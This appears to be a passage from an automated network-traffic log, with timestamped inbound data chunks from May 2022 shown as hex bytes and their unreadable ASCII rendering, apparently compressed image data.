86 52 b3 46 87 79 1d c3 5a c1 1c 8d e6 3a b7 fc b4 8f e7 7f cf f9 56 85 8e a8 d2 f9 7e 74 9e 64 5b 19 e1 93 67 e2 d8 ae 
4f 4b 65 5d 37 cc f3 24 fb 9f 3f ce df 3d 67 f9 97 36 12 79 7e 66 f7 67 f9 3c bf e0 ef f3 7f f1 35 a4 a2 b6 ea 49 d8 6b d3 6e 
8f f7 7f 22 44 9b 12 3f e3 ff 00 f5 d7 27 35 d7 d9 63 91 ae a0 8f e5 da 9e 7f f7 17 6f 1f fe cd 76 5a 4e 93 73 ab 5a c9 24 df 
3d bb 7d f9 3f bf ff 00 c4 d4 77 
Data Ascii: ;q.iEn3UH<_/Q^MAV8f\]nGI\/vEs-JdsyhRFyZ:V~td[gOKe]7$?=g6y~fg<5Ikn"D?'5covZNsZ$=}?w

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:15 UTC 9870 IN Data Raw: 97 1f f4 dd 36 7c b5 83 ae 5b e9 16 b3 cf f6 18 f7 db ae e7 7f ee 6e ef ff 00 01 af 07 8f 58 bc b0 b5 dd 25 c4 9b 
15 f6 7e ef fc fd ef ad 6c 59 f8 92 e7 52 93 f7 7f 3c 4d f2 3c 9b d7 7a 7f c0 6b c5 c4 d2 9c 6c 97 43 cc af 87 a9 1d 53 d0 a7 
e2 c8 56 ff 00 52 ff 00 c7 12 3f f6 96 b8 ff 00 b1 b4 5a 94 8c bf 7e 5f 93 cc 8f fd af 5a f4 cd 2f 4f fe d4 92 48 64 fd fb ec ff 0
0 59 b3 e7 ff 00 ec aa ae b5 f0 be 56 92 0b c9 a7 d9 14 bb b6 41 1e ef cd ab de c3 e3 20 a0 a1 2e 87 75 3a f0 5a 33 ca 6
c f4 d5 6d 4a 76 f3 37 db ef 5d 92 48 8d b1 f6 fd 3f d9 ae da 36 5b 8f dd b7 ce 9f ef fc f5 9b 0c 72 db c9 24 6b 24 73 7c 9b 
21 fe e3 fe 15 6a de 6d de 5a f9 7f 2b 7f cb 4a f5 93 ea 8e 99 12 5f 49 e5 5a c9 35 c4 7f 24 5f 3b f9 9f 3b ed f6 ac 7b 5f 16 
41 ab 5d 49 6f 6f 1e f4 
Data Ascii: 6|[nX%~lYR<M<zklCSVR?Z~_Z/OHdYVA .u:Z3lmJv7]H?6[r$k$s|!jmZ+J_IZ5$_;;{_A]Ioo

2022-05-13 14:42:15 UTC 9886 IN Data Raw: d4 31 74 dc 1d ee 0e 12 75 14 d3 d0 f1 bd 07 47 f2 bc 49 69 6f 24 92 3d a6 ff 00 3b cb ff 00 6b 6e 78 ad cb 8d 
53 fb 0f 5c b4 db 26 c4 57 f9 fc 8f 93 e6 ef ff 00 d6 ae 6f c3 7a a4 b2 cd 04 96 f2 79 12 b2 2a 79 7f dc 5f 5e 7f 8e b3 7c 71 
aa 4b 2d f4 16 f0 cf f3 b2 6c fb 9b ff 00 ef af 4a f5 6b c7 99 33 7a 8a f7 4c f4 4f 16 78 c2 0b 8b e8 e4 86 4f 9d 53 7f 99 f7 
dd d9 ab ae f0 dd e4 bf 65 8f 50 86 48 d3 74 3f 3f fb 0c b5 e4 f6 7f 06 75 2b cd 2b fb 42 49 24 74 57 de 91 ef 64 d8 ab ff 
00 d8 d7 71 e0 7b cb 9d 0e d6 48 6e 23 91 ed 25 85 b6 79 9f 23 a4 ab 5e 17 35 2e 6b 45 ea 8f 22 70 5f 67 73 a0 d4 2d e5 
d3 6d 6e f5 0b ef bf e4 ef 78 e7 fb fb bb 57 84 eb 57 8b e3 7f 10 49 6f 1f ef da 27 57 78 e4 fe 3f 6c d7 d0 51 de 45 e3 0d 1
e 48 da 79 1d f7 b6 c8 3f 8f e5 5e 
Data Ascii: 1tuGIio$=;knxS\&Wozy*y_^|qK-lJk3zLOxOSePHt??u++BI$tWdq{Hn#%y#^5.kE"p_gs-mnxWWIo'Wx?lQEHy?^

2022-05-13 14:42:15 UTC 9894 IN Data Raw: 5a 5c f6 76 b2 2a c7 3f 94 ae bf bb fb fb db e8 7f 86 b4 34 fb 1b 65 d0 e7 db 27 90 ed f2 79 92 27 fb 3f a5 79 
34 69 f2 bf 33 74 f4 2d 5c 79 17 f0 49 1d bc f1 bb cb f2 27 97 f7 f7 37 5e 9f c3 57 b5 8b 18 22 f0 fc 8c b1 c6 f7 11 6d fd e7 
f7 19 7a ff 00 c0 6a 9f 85 f4 b9 67 fd dd c4 fb 25 58 57 64 91 a7 dc dd de bb 2b 8f 03 c1 75 1c fe 64 9b 37 6d 74 ff 00 6f e9 
5d b2 af 08 45 c6 4e da 1c b3 92 8b d5 9c 9e 9f e2 e9 fe cb 25 ac 7f b8 95 a6 ff 00 59 f7 fc e5 ee 79 fd 6b 8b f1 c4 7f 6f 
9e 46 68 3f d6 ee 7f dd fc 95 d8 6b 5a 5c b6 72 7d a3 ec 9f 22 ba a7 99 03 ab be ea ab a1 e9 eb af 6b 90 47 71 f3 c5 13 
f9 c9 1e ff 00 e1 f4 6f 7a f8 b8 d7 a7 1a ae 50 77 5f a9 e5 39 a8 cd be 87 2b a3 e8 2d a8 69 a8 bb fc f4 d8 c9 f7 36 3a 7f b
d 5e 7f 70 b3 db c7 24 de 44 8e 96 
Data Ascii: Z\v*?4e'y'?y4i3t-\yI'7^W"mzjg%XWd+ud7mto]EN%YykoFh?kZ\r}"kGqozPw_9+-i6:^p$D

2022-05-13 14:42:15 UTC 9910 IN Data Raw: f6 df ba 3f d9 af 3b f8 d9 e1 fb 6d 0e c6 09 a1 92 44 b8 f2 76 7d cf e2 ef fe f5 7a 06 a1 ac 2e 8d 1c 0d 67 26 f7 
d8 a8 90 7f bb e9 ff 00 d6 af 3d f8 8c b7 3a f7 98 d2 79 89 14 5f 72 3f fd 0a bb 70 fc f1 aa a5 d0 ec a3 cc e7 77 b1 c4 f8 2f 
56 59 64 92 45 4d 92 ac 2b e7 47 1f c8 9f 2f 6a ed 34 d8 67 f1 d5 d7 99 0c 91 ff 00 67 ab b2 4d 3c 88 bf 3e d5 cf 1f dd 6f 
7a e0 e4 d5 2c ee 3c c9 23 f3 1e e1 6d 17 67 97 f9 03 8f ef 7f 4a ab a0 dc 6a 16 b7 db 6c 67 92 08 a5 45 77 b5 fb e8 ed ff 
00 3d 07 7d df c3 5e a6 2a 2e 51 7c ba 3b 1e 8c 9b b6 87 b8 68 7a f4 7a 4c fe 4c 73 ec 7f 9b fd 5f c9 bd 7a 7f 9f 5a d2 b8 
f1 64 51 6a b0 2b 7c ff 00 27 93 0c 9b 3f 5a f1 d8 f4 d9 7e dd 03 7d bf c8 7b 8d df bf fd e7 c9 bb af fc 0a ba ef 1c 5a e8 3e 
08 d2 ac 35 0b 7d 4b ed b7 1f 
Data Ascii: ?;mDv}z.g&=:y_r?pw/VYdEM+G/j4ggM<>oz,<#mgJjlgEw=}^*.Q|;hzzLLs_zZdQj+|'?Z~}{Z>5}K

2022-05-13 14:42:15 UTC 9926 IN Data Raw: 70 df eb bf b8 ea cb 5d 13 5c 92 76 5a 95 2a d2 84 b9 76 38 db 8f 0a de 78 4b 47 92 1b 79 e7 df e4 fc 89 1b fc 
9f 77 d7 fb d5 e7 be 34 d7 27 97 4a 8e cf f7 96 bb bf 72 f1 c6 ff 00 73 fc f7 af 64 f1 87 8b ac 75 49 e3 b5 ba f3 3c a8 93 64 
de 5e dd e9 f3 7f 4f ef 0a e1 6e a1 b6 ba ba bb 5f 32 0d 45 25 f9 1e 39 36 ef ff 00 f5 9a ac 0c 25 a4 ea 47 5f 33 26 da 7c 
cc f4 6f 87 ff 00 63 b5 f0 ad a4 2b 1c 93 a2 ed df fe ef 40 df de ae ba c7 47 b6 bf f3 e6 bc 82 07 db f2 7c ff 00 eb 7f d9 e2 
bc 0f 49 f1 67 fc 23 3a 94 90 af 99 75 e5 27 fa bd 9f c3 d9 59 7f dd fe 2a eb 34 3f 1a 5e 6a da 94 ed e6 79 16 f7 0f fe b2 3
f be fb bf af d2 b6 58 8b 56 93 92 d8 c2 3c d2 95 93 b1 dd 6b 96 f6 d6 ba 6c 91 d9 cf b1 ff 00 e9 a2 6c f7 35 8b fd b5 63 a5 
e9 b1 c8 d0 49 06 a1 e4 ff 00 
Data Ascii: p]\vZ*v8xKGyw4'JrsduI<d^On_2E%96%G_3&|oc+@G|Ig#:u'Y*4?^jy?XV<kll5cI

2022-05-13 14:42:15 UTC 9934 IN Data Raw: 4e 97 f0 6f 50 d5 a0 bf d4 21 bb fb 17 ef b7 f9 7f 2e ff 00 5f d7 da b8 e9 49 45 a5 73 ce a1 8a 84 29 f2 cd d9 a3 
99 ff 00 85 7f a5 69 be 44 97 12 6f b8 57 5f f5 8e cf f3 3f 6a cd d5 b4 3b 3b 29 e3 8d 64 df 6e bf 72 39 3e 47 f3 77 72 d5 
0d af c3 1f 18 df f8 9a 7f f4 bf b5 5b db bf fa cf f9 65 f7 ba 7e 55 4f e2 12 df 45 aa c9 62 d1 f9 f2 c5 f2 79 71 ff 00 1e ef bb 
f9 d7 a3 1f de 54 8a e7 bd cd 2e a5 53 49 5c ed b4 7f 1a 45 e1 d8 60 d3 e1 92 39 1d a1 de 90 7f 7f fd aa cd d4 35 48 f5 
98 e7 ba 5f 33 66 c6 fd e4 8f f2 23 7f 17 e7 5e 3a ad a8 69 b3 c9 f6 af 3f 62 bb 6c 92 4f b8 9e a3 9a ee b4 9b ab 6d 53 4a 
9d bc ff 00 f8 f8 fb 9e 63 ff 00 0a 2f fb 3f fe ba ce 59 45 28 4f da 47 57 fe 67 54 28 2e a7 23 e2 e9 a2 59 27 9b cc 44 97 62 
ff 00 ab 75 ff 00 38 fe 23 4e 
Data Ascii: NoP!._IEs)iDoW_?j;;)dnr9>Gwr[e~UOEbyqT.SI\E`95H_3f#^:i?blOmSJc/?YE(OGWgT(.#Y'Dbu8#N

2022-05-13 14:42:15 UTC 9950 IN Data Raw: 2c 45 ee ac ac 63 27 74 fc 8f 76 f0 df 8d 1b 5c d0 e7 b7 d4 bc 88 22 5f 91 24 df fe bb fd ad bf de af 3b b8 b5 
b1 ba d5 76 b7 97 7b 70 df f2 eb bd 7c d7 db d5 be 83 bd 68 2d d3 59 f8 9b 52 8e 39 e4 4b 7d 36 15 fd e4 7b 5d 1d bf 8b 
fe 05 fc 55 c3 ea 57 1a 77 88 fc 5b 24 71 dd ec f2 b6 bc 32 27 c8 ee cb db 26 b9 68 53 8c 63 ee 23 6a 71 b5 da 3b 4d 2f 
c3 fa 7d bc 9f 68 b5 79 1d d7 e7 78 fe 64 7f bd fe 71 5a de 1f b5 b9 ba f1 34 91 dc 5d ef 8a 29 95 df 7b fd cd d5 9e de 32 
83 4b ba 8e 4b a9 f7 dc 7c c8 f2 6c f9 f6 ed c6 7f bb 5a 5a 97 8c 2c ec 34 af 32 d7 c8 7b 49 fe 4f 2e 0f 91 fe b9 ae 09 39 f3 
bd 08 a8 db 4d 25 b9 e9 1a f5 c5 8e 83 6b 3c 7e 5c 0f fd f8 e4 f9 f7 ad 79 3c 8b 06 87 ac 7d a2 48 3e 46 b8 fd cc 9f c6 8a 
cb 9a cf be f1 74 b6 f1 da 5d 5c 49 e7 a2 
Data Ascii: ,Ec'tv\"_$;v{p|h-YR9K}6{]UWw[$q2'&hSc#jq;M/}hyxdqZ4]){2KK|lZZ,42{IO.9M%k<~\y<}H>Ft]\I

2022-05-13 14:42:15 UTC 9966 IN Data Raw: 26 4f f6 bb 67 d2 9b e0 38 5b 4b b5 45 86 7f 3e 56 db f6 87 f9 77 a3 56 0f 89 2d f5 0b ff 00 15 4f 63 74 9f ea b7 
27 99 07 f1 f6 fe 1a ee bc 37 e1 9b ed 1b 4a 92 eb cf de 9e 4e f8 64 d9 f7 3e 6f f5 6f ff 00 c5 57 1c a0 a3 2b 5b 41 d4 8f b3
d3 a1 eb 9e 19 f1 96 95 a9 78 7e 7d 1f fd 7a 7c c8 8f fd c6 db d7 69 fc ab ca 74 d8 f5 0d 2f 58 9e 36 d3 64 b5 d3 d9 ff 00 
e5 82 7c 8f b7 fd b1 ed d4 74 ac 9f 03 ea 13 cb e2 09 e4 9b cb 44 f3 be 78 e3 9f ee 32 f5 cf 1f 35 7b b4 7f 12 34 1d 2e 0f 
26 e9 23 82 26 dc 89 24 9f 3a 3f ff 00 5b fd af 5a b9 73 45 5b 7b 9e 7d 4e 78 4b dd 8d ee 51 d4 3c 51 e1 7b 0f 0c c0 cb 
61 3b ca a8 a9 e6 48 9f 26 de c5 58 7f 8d 37 4b f1 f7 f6 5f 91 fd 8f 04 69 2b 7c 93 79 9f 23 ba ff 00 77 fc fc d5 c1 f8 f3 e2 
36 91 ae 5a cf 63 a2 d8 49 b3 ee 
Data Ascii: &Og8[KE>VwV-Oct'7JNd>ooW+[Ax~}z|it/X6d|tDx25{4.&#&$:?[ZsE[{}NxKQ<Q{a;H&X7K_i+|y#w6ZcI

2022-05-13 14:42:15 UTC 9973 IN Data Raw: f3 a7 4b 95 a9 3d 8b 9e 20 d7 ae 7c 5b e2 08 db 50 fd c5 94 af fe ae 3f be fb 7b 7f b5 5e 89 e1 7b 7b 3f 0b ea 
5e 75 c4 71 fd a2 54 5d 91 ff 00 73 e5 ed fe d5 73 fe 2c d5 bc 39 e1 cb e8 ec ed fc 89 ee ed 7f f1 cf 97 05 8f f7 ab 85 93 
e2 45 b5 af 89 a3 b8 bc 93 64 51 6d 7f 2e 4f 9d 37 6d e3 9e b5 ea 7b 4b a5 c8 b4 47 7a 8f b4 49 c0 f4 af 1d 78 db f7 ff 00 
63 58 f7 a4 af fb 99 36 7f 0f bf ad 78 8d f5 c4 1e 01 be bf be 6b 4f b5 5d ca 8a 8f e5 fd c4 97 d5 7f 87 69 ef 5e e5 6f e2 af 
0a ea 93 ff 00 6a 4d 69 fe 91 e4 fc 92 46 fb f6 33 7f 0a ff 00 7d 7d 6b c9 7c 6d a6 d9 b6 ab 1d f4 d1 ef b7 ba 9b e4 78 fe 
74 f9 57 d3 f8 2b c4 a7 56 ac f1 33 e7 95 d1 c7 41 49 cd a9 1a 5a e7 8d 20 5f 01 e9 3a 2d bc 11 fd ae e1 d7 ed 12 46 9b 
3f 8b 76 e3 f4 6e b5 c8 f8 f2 e2 e6 c2 
Data Ascii: K= |[P?{^{{?^uqT]ss,9EdQm.O7m{KGzIxcX6xkO]i^ojMiF3}}k|mxtW+V3AIZ _:-F?vn

2022-05-13 14:42:15 UTC 9989 IN Data Raw: 5e de 09 3e ff 00 e9 d1 6b e4 e5 27 4e a5 dc 4f 2e b2 f6 96 4c ed 35 2d 5b ec fa 57 db ac e3 df 2b 23 43 0c 93 
a7 cf b7 f8 a4 ae 17 e1 ec 92 e9 30 49 79 f6 4d 97 12 cc cf e7 c9 f3 ca fb be f6 7d 2b a4 bc d3 56 c2 c7 4d d3 ee 2f e4 fb 
5c a9 bd e0 8f ef a7 fb bf ec fe 35 87 ac 78 82 09 64 fe cd 8e 3d 91 4a ed e7 49 1b fe 1f 2d 76 61 71 7c f5 1d 26 96 a3 a6 
db f7 4f aa ad 7e 22 78 55 7c 2b 69 67 e7 c7 3e aa d0 fc f0 47 fe b6 a3 f0 5f c4 4d 23 4d f0 fe a5 35 c7 98 f6 f1 3e c4 f2 df 
7b d7 c3 7a 4d 9e b3 6f e2 e9 1b ed 73 fd 9e 54 64 86 49 3f da 6f 51 df ee e6 bd 2a fb 5e d4 fc 2f a1 ff 00 64 f9 9f 23 6e 
9b cc df fb d4 66 f5 ae dc c7 05 f5 8a 1c bb 9d 1c 9f 57 fe 19 ef 16 7e 34 6d 72 7b 79 21 d3 7c cb 7d ec fe 64 69 f7 ff 00 e
9 99 fe f2 d7 ce ff 00 b5 25 9e a1 
Data Ascii: ^>k'NO.L5-[W+#C0IyM}+VM/\5xd=JI-vaq|&O~"xU|+ig>G_M#M5>{zMosTdI?oQ*^/d#nfW~4mr{y!|}di%
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2022-05-13 14:42:15 UTC 10005 IN Data Raw: ba 4f b2 ba ba bf ee ff 00 4f ad 7a 67 84 75 46 f3 e3 fb 3d a7 9e 8a 8d 0a 49 1b ef fc 7f da ae 06 f2 cf fe 12 0f 
18 cf 0e 9b 3f 91 12 fc 93 49 1e e4 d9 5e 5d 2a 9b d3 93 d2 c7 9b 1a 8d cd c5 ec 8e a2 f3 c4 90 5c 69 be 74 d6 fe 44 56 
af bf f7 7f 7f e8 3f d8 af 37 bc d6 9b c5 5a c4 ed 6f 1c e9 6f 12 6c f3 24 f9 3e f7 f1 1f f6 4d 76 9e 24 b1 6d 0f c8 d3 d6 4f 3e 
de 5d bf bc fe 07 6d bc af fb 5f 8d 3b c1 3a 4f fc 24 7f da 4b 1d a4 89 68 bb 9d 27 8d 1b 66 e6 fe 15 ff 00 6b fd 9a c9 c7 96 
9b a8 f7 3b 3d d8 ae 63 9f be f1 15 b5 bc 10 69 f2 4f 1f ee 9f 7b c9 1f dc 76 db d3 fc fe 15 d1 78 37 f6 90 d5 fc 39 a9 4f a3 
cd 61 f6 ad 33 62 f9 37 d2 7c 9b 19 7a 75 f5 ad cf 87 7e 03 d3 e5 d5 67 5d 4b 4d 81 e2 89 d7 ec f1 ec fb fe a7 fd ea 3c 59 
a6 d8 c5 ae 6a 51 ea 1a 6e 
Data Ascii: OOzguF=I?I^]*\itDV?7Zool$>Mv$mO>]m_;:O$Kh'fk;=ciO{vx79Oa3b7|zu~g]KM<YjQn

2022-05-13 14:42:15 UTC 10013 IN Data Raw: aa dd ce 9c 1d 47 06 d4 8f 11 f8 a1 71 f6 38 2f e4 b7 83 ed 56 fb d5 de 79 3e ff 00 cb fc fd ab d8 ac 74 1d 22 
d7 e1 3c 17 da 2f 99 e6 dc 24 33 3c 9b f6 6f 56 5d ac ad b7 bd 79 bf c6 2f 0d e9 5a 6f 87 6e ec 64 9d fe d7 ff 00 3c f7 b2 
6c 65 5f 93 fd 9f f6 6b a2 f8 2b af 5c af c2 f8 34 5b c8 fc 89 d2 dd b6 49 3b fe 1f f0 1c 57 d3 42 ad 3c 45 15 56 1d fe f3 da 
f6 aa a5 b9 76 32 75 89 b4 cf b7 79 2d 24 96 b1 45 b5 d2 48 1f 7b ee dd ff 00 a0 fa e6 b6 35 46 d3 fc f9 2d e4 bb 92 77 fe 
38 f7 fc fb 76 fd e5 fe 1e d5 cf b7 83 ef bc c9 e6 ba f3 3e 69 96 18 7f be ff 00 dd e4 77 ad 4d 5b e1 de a7 e1 ad 1e 0b cd 
62 78 27 7b 8f 9e 18 e0 46 4f 97 b6 e3 ed 58 56 ad 4a 36 4a 5a 9c 92 a9 08 b4 9b d4 ec 3e 1b f8 8a ce ce fa 08 e6 f9 ed 
fe 54 4f 31 db ef 77 af 42 f1 e7 8b 3f 
Data Ascii: Gq8/Vy>t"</$3<oV]y/Zond<le_k+\4[I;WB<EVv2uy-$EH{5F-w8v>iwM[bx'{FOXVJ6JZ>TO1wB?

2022-05-13 14:42:15 UTC 10029 IN Data Raw: 7f e6 e7 8d bf f8 f5 79 3f 8b 3c 3f 63 67 75 04 37 17 e9 3b fc c9 e5 da ee 77 fb dd 87 f1 2e 3a e2 bd fc 8a 2a f3 
52 56 6f 53 d9 c2 47 96 0f b9 e9 5e 0b b3 d3 f5 9b 58 2f 3f 7f 74 ea 8d fb 89 1f 62 6d f5 ff 00 76 b4 2f b5 6b 6d 2f 5f 93 ed 
d2 7c 97 10 c7 b3 e7 5f f3 f8 d6 5f c1 5b 59 75 2b a8 2d 64 bb 8e 08 ae 1d 91 20 8f f8 d5 ea c7 ed 19 e1 9b 3b 5b e8 34 
dd 3e 7f 9e 5f f5 d3 ec ff 00 53 b7 bb 7f b3 ed 5f 4b 52 9a a8 d4 7a 1d 32 b3 b2 66 b7 85 f5 ed 3e c3 52 92 eb 56 d3 63 bd 
d1 1b fd bd 9f 83 af f1 2f fb 55 9b ae 7e d5 9a 35 f6 aa fa 4f 84 fc 03 6b 6b 6f fe aa 59 11 36 6c 66 fc 30 bf 9d 6f 78 77 e1 
de 99 e0 df 85 ff 00 6c bc d4 a4 d5 f5 0b 8d bb 20 8d d7 67 cd ef ed 5e 5f 0f 87 d7 49 d0 e4 f3 bc 88 2d 2e 26 d9 e6 46 9f 
bd 45 6f e1 6c d7 66 16 51 51 70 
Data Ascii: y?<?cgu7;w.:*RVoSG^X/?tbmv/km/_|__[Yu+-d ;[4>_S_KRz2f>RVc/U~5OkkoY6lf0oxwl g^_I-.&FEolfQQp

2022-05-13 14:42:15 UTC 10045 IN Data Raw: 9d fc f4 57 de df 8f f0 ed fe 2a fa 23 e0 1d 8c 5e 19 93 52 86 69 23 9e e2 e2 1d ef ff 00 b3 74 f9 6b e7 fd 5b 4f 
5d 2f c4 77 6c bf 25 94 4e b3 3f 99 fc 1e 82 bd 1a cf c5 9f 67 9e 09 ad 64 f9 1a df 65 c4 91 a3 6c 7d df 70 aa ff 00 bd d6 
bd fc 4f 37 2a 50 46 38 88 4a b4 1c 17 53 b4 f1 c6 8f 7d f1 73 c7 f6 13 6b 57 f1 a6 99 6f fe a6 08 fe 44 4f fa 66 df ed d5 eb 
7f 03 e9 5a 1e b1 7f 34 70 6c b4 54 f3 bc c9 1f ee 76 1c 7a 0e f5 c0 f8 ab c6 57 8d a3 ea 57 91 c7 f6 57 67 8f 64 f1 a7 fb 
58 61 56 a6 f8 a5 79 15 8d a5 ae a9 24 70 25 c2 2f 93 24 7f 3f 9c be bb 7f bb 5f 33 8a a3 5a 71 57 57 b7 44 69 18 d5 8c 
a2 d3 f7 57 43 5b e3 46 83 a7 db da da 6a 1a 7d 87 db 52 27 5f 3a 08 fe e3 ee f9 bf 0a f1 3f 14 4d fd ad 3e 8b ac 5d 4f f6 
57 96 e1 7f 77 02 6f 78 55 7f 84 7f 
Data Ascii: W*#^Ri#tk[O]/wl%N?gdel}pO7*PF8JS}skWoDOfZ4plTvzWWWgdXaVy$p%/$?_3ZqWWDiWC[Fj}R'_:?
M>]OWwoxU

2022-05-13 14:42:15 UTC 10053 IN Data Raw: d9 97 7b 47 dd 38 d9 a4 9f c0 30 49 a4 f9 f1 c0 91 7c 89 f7 be 75 ff 00 11 59 7a 2f 8a a7 bc ba bb 86 ce d2 09 
fc df 91 2e a4 fb ff 00 7b 81 8f ee fa 57 65 e2 4f 86 b7 9a f4 92 78 93 5a 93 7d a6 f6 78 63 83 ee 7c df f2 cd 8d 73 7f db d0 
59 ea b0 47 0e 9b 25 94 31 3b 24 3e 5a 7f 0b 7f 85 71 46 34 aa 3b a5 76 69 a4 b5 46 5e b1 ab 4b 2f 88 2c 34 bd 52 3f b2 
c5 75 f2 3c 71 a7 f7 57 f8 ab b6 d6 ac 7f b2 f4 a8 3e d1 e4 79 5f 2b bc 9b fe 7d cb f7 42 ff 00 9e 95 e5 fe 30 ba bc bc 9e 
3b eb 79 23 9f ec e9 b1 e4 8f ee 6e 76 cf e3 52 7f 6e 4b ab 68 f1 ff 00 6d 6a 49 e6 dc 3f 93 e4 47 b5 f7 b7 7f fe b5 65 8a 
a5 37 ca e9 e8 96 e2 94 5b b5 99 bd e0 9d 5b 4f ba d6 36 f9 73 cf 6e db 9f ee 6f f9 55 bf 85 be ef 1f 4a ee bc 59 a8 36 a9 
a9 58 58 d8 c1 fd 9d a6 22 7f ac d8 df 
Data Ascii: {G80I|uYz/.{WeOxZ}xc|sYG%1;$>ZqF4;viF^K/,4R?u<qW>y_+}B0;y#nvRnKhmjI?Ge7[[O6snoUJY6XX"

2022-05-13 14:42:15 UTC 10069 IN Data Raw: 75 e2 68 e3 9a 7d ef bf ee 7c cf 2c db bd 3f bb 8f 6a eb bc 2b bb 4d ba 9e 6f 2f fe 26 17 4e a9 37 99 b9 37 b7 
76 0b fc 35 8b f1 2b 4f 6b 3f 1c 69 3a 84 92 47 6a ff 00 7d 23 83 e4 77 66 5f f5 7c 56 11 a9 cd 2d 4a 83 b3 3b 2d 0e d6 0d 
2f 4a 8f 4f 69 e4 9e f5 76 bc d1 c1 f7 d1 7b 6e dd fe d5 7a 47 86 f4 15 d6 f4 7b 4d 3e 69 27 9e 2b 3f 9d 3f d8 95 7e 6e 9d 
36 ff 00 7a bc d7 c2 be 1d fe d1 9e ee f2 3b 48 d3 4f 5b 7d fe 64 7f eb 51 5b ef af 3f 9d 7a f7 c3 9d 43 c3 da 1e 95 77 75 
1d ff 00 fc 4b ed d1 93 ef b7 ef b6 ae 57 77 d6 be 1f 3c 84 f7 a4 dd df ea 3d 5a 47 9f f8 f3 c4 9a 85 af 8b ac 2d ec ff 00 71 
68 b3 2f ef 3e 6d 9b 7f e7 a7 1e b5 b1 e2 0d 15 b4 db bf ed 29 24 8e 78 af 3e 77 83 f8 1d 7a 9f f7 73 f7 b7 57 1f ab 78 92 
db c4 77 d7 7a 94 31 c8 f7 0a ec 90 
Data Ascii: uh}|,?j+Mo/&N77v5+Ok?i:Gj}#wf_|V-J;-/JOiv{nzG{M>i'+??~n6z;HO[}dQ[?zCwuKWw<=ZG-qh/>m)$x>w
zsWxwz1

2022-05-13 14:42:15 UTC 10085 IN Data Raw: 1a b5 8e b3 a9 4f 79 0c 73 bc 4a ec fe 66 cf ee ff 00 e3 b5 a9 e1 3b 5b 3b 8f 0c cf 7c b0 4f 6b f6 a4 f9 fc c4 d9 
f3 2f 4d bf e7 a5 71 fa a3 4b e0 db 1b 85 b7 9e 4d 52 2b 8f 92 18 fe 5d e9 5e 8c a9 fb 46 d1 de 8f 62 f8 13 a9 4f a3 78 8f 
52 9a 4f 32 f6 ee 5b 7f 27 cc fb e8 8b b7 8a cb f0 fe a5 a8 4b 75 ab 43 24 91 f9 52 cd fb e9 2e 9f ee 6e e0 05 6f 6a ea bf 
64 3b a5 bc d4 b5 2b 8d 4a 78 dd 2d ed 17 ec f1 ff 00 7e 26 fe 78 af 19 f8 85 7d 78 de 3c 9f ec fe 65 94 5f 68 64 9a 38 fe 
4d 9b 5b 2b bb f3 a7 4e 9c e1 c9 69 68 ae 16 e5 8f 31 b9 e3 2d 07 45 d6 6d 67 ba 9a 3d f7 16 e9 fb 99 24 4f ee b7 de ac 
fd 2e f2 ce ce d6 35 b8 8e 79 d1 93 7a 4f 1a 36 c4 65 6f bb fe d5 51 b1 f1 c2 e8 da 4c f0 ea 1e 66 a2 8b f2 24 7f c6 fb 97 
3b 54 ff 00 13 7e 15 e8 1e 09 f1 17 85 
Data Ascii: OysJf;[;|Ok/MqKMR+]^FbOxRO2['KuC$R.nojd;+Jx-~&x}x<e_hd8M[+Nih1-Emg=$O.5yzO6eoQLf$;T~

2022-05-13 14:42:15 UTC 10093 IN Data Raw: fe 17 f1 65 9c 5e 2a 8e d7 ec 92 59 5b b3 ff 00 ab d9 ff 00 2c bf f8 9a f6 6d 17 c2 f3 ea 93 dd d9 db c9 24 16 9e 
4b 3d bc 71 fc ff 00 ef 77 f9 bf a5 7c cd 7d 63 ff 00 09 17 8d ad 21 b1 8c 5a c5 70 f1 a7 fa 2f ca bb 59 b9 65 35 f5 bf 86 ef 
3e cf e2 e8 23 d3 e0 8e ea d3 4b 48 ec 53 e4 d8 88 ac bf bc 93 3f ee d7 67 30 37 64 64 f8 37 c3 77 32 5f 7f 61 c7 f2 3d ba 
34 d7 12 4f f3 ec ec 17 fb a7 da 9b e3 0d 2f 4f d0 63 92 ce ce 3d f2 ac db 3c bf b9 bf d3 3f 5f ef 0a f5 e5 9b 4a d1 a0 bf 5d 
36 3f 22 e2 24 57 b8 92 3d db de 56 ef 83 5c 2e 87 f0 ee e7 56 b1 bb d6 1a c2 4b ab 7f b8 f1 c9 f2 45 b5 9b 3f 31 fe f7 fb 
35 c8 e5 ef 7b cf 43 3e 6e 6d 59 63 e1 8f 82 e7 d7 ac 64 9b 56 9e 3f ec a8 9d 66 9b cf 4d 88 ed c6 7e 8a 3f fd 55 73 c4 da 
97 db 3c 4d 61 a4 e8 f6 93 de 
Data Ascii: e^*Y[,m$K=qw|}c!Zp/Ye5>#KHS?g07dd7w2_a=4O/Oc=<?_J]6?"$W=V\.VKE?15{C>nmYcdV?fM~?Us<Ma

2022-05-13 14:42:15 UTC 10109 IN Data Raw: 62 cd a9 59 dc 47 1d e4 31 ec 97 ee 27 fb 7f 9d 63 f8 82 15 96 ea 05 f3 23 44 95 f7 f9 7b 3f 1e 9e f4 df 13 59 
dc c5 a3 f9 96 f2 7d 89 db ef c9 27 fe 82 3d f3 fa 55 af 03 cd 2e b3 3d a4 93 49 1c ff 00 65 79 37 f9 ff 00 c0 df 77 1d 3d 3f 
c6 be 82 a5 37 23 9a 7a a2 3f 0a ad 8d ad de a5 79 7d 04 f3 a5 bc 3b 2d 3c c4 d8 f3 7a ff 00 9f ca bd 73 f6 5b f1 26 ab fd 
b1 7f 71 e6 6f 7b 84 d8 f2 7f bb f3 2e 6b cb 7e 23 78 92 08 bc 4d a4 da dd 47 b1 2d e6 5d ff 00 26 cf ba bf 2f 4f e1 ae b3 
e1 0f c4 29 74 3f 15 49 1c 72 47 05 bc af fb 99 3e fb cd ff 00 b2 d4 d6 bf b2 7e 46 31 b4 6e cb 1f 18 2f 22 f0 cf 8d 2e 2f 1a 
39 fe d7 bf 7c 51 c9 fd ef bc 78 ff 00 d9 ab b2 bc f1 04 9a e7 87 20 ba 59 ff 00 7b 2a 2b f9 72 7f e3 cb 5e 63 f1 a2 e2 5d 
7b 58 fb 55 f7 98 e8 bb 7f d5 fc 
Data Ascii: bYG1'c#D{?Y}'=U.=Iey7w=?7#z?y};-<zs[&qo{.k~#xMG-]&/O)t?IrG>~F1n/"./9|Qx Y{*+r^c]{XU

